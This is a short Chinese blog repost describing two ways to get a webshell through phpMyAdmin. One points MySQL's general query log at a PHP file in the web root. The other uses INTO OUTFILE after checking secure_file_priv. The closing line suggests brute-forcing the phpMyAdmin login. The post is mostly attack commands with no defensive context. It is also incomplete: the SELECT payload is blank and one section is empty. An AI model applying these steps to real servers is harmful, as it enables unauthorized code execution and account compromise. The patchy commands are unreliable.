mysql 返回的查询结果为空 (即零行).,phpmyadmin getshell大法

0x00 概述

整理phpmyadmin的两种getshell方法，后续有其他方法再更新。

0x01 select日志

show variables like ‘general%’;

set global general_log = ‘ON’;# MySQL 返回的查询结果为空 (即零行)。

set global general_log_file = ‘C:/phpStudy/PHPTutorial/WWW/logshell.php’;# MySQL 返回的查询结果为空 (即零行)。

SELECT ‘’

0x02 into outfile

此法有局限性，必须secure_file_priv不为null && 为网站路径

show variables like “secure_file_priv”;

默认Null

尝试设置为网站目录：

需要修改my.ini

secure_file_priv=’网站路径

0x03 其他

0x04 结语

phpmyadmin上述getshell方法都要登录，可尝试爆破。

0x05 参考资料

注意：本文来自LSABLOG。本站无法对本文内容的真实性、完整性、及时性、原创性提供任何保证，请您自行验证核实并承担相关的风险与后果！

CoLaBug.com遵循[CC BY-SA 4.0]分享并保持客观立场，本站不承担此类作品侵权行为的直接责任及连带责任。您有版权、意见、投诉等问题，请通过[eMail]联系我们处理，如需商业授权请联系原作者/原网站。